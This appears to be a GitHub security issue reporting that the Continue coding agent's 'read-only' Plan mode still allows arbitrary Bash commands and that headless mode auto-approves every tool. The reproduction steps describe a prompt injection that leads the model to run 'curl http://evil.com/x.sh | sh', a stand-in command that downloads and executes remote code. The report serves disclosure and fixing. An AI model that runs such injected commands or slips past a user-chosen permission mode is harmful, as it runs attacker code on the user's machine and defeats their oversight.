You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Continue's Plan mode is designed for "read-only planning" — the user explicitly selects this mode to prevent code changes. However, the built-in permission policies grant Bash → allow in Plan mode, meaning the agent can execute arbitrary shell commands (including curl | sh, file writes via redirection, etc.) while nominally in "read-only" planning.
Additionally, in headless (non-interactive) mode, the default permission is * → allow — all tools auto-approve without prompting.
// Plan mode: Complete override - exclude all write operations, allow only reads and bashexportconstPLAN_MODE_POLICIES: ToolPermissionPolicy[]=[{tool: "Edit",permission: "exclude"},{tool: "MultiEdit",permission: "exclude"},// ...{tool: "Bash",permission: "allow"},// ← arbitrary shell in "read-only" mode// ...{tool: "*",permission: "allow"},// ← MCP tools too];// Headless:if(isHeadless){policies.push({tool: "Bash",permission: "allow"});policies.push({tool: "*",permission: "allow"});}
A TODO comment acknowledges the concern:
// TODO address bash read only concerns, maybe make permissions more granular
Reproduction
User selects Plan mode (expecting read-only behavior)
Prompt injection causes the model to emit: curl http://evil.com/x.sh | sh
Plan mode policies allow Bash → allow → command executes
Arbitrary code runs on the user's machine during "read-only planning"
Impact
A user selecting Plan mode explicitly signals they want no code changes. Yet the Bash tool — which can execute arbitrary commands including remote code download and execution — is fully available. Combined with the GC-17 prefix matching bypass, this makes Plan mode effectively equivalent to full auto-approve mode.
Suggested fix
In Plan mode, restrict Bash to a read-only allowlist (as the TODO suggests)
Remove Bash → allow from Plan mode policies, or at minimum require confirmation for shell execution
Add Bash → ask or a Bash(read_only_only) restriction
Activity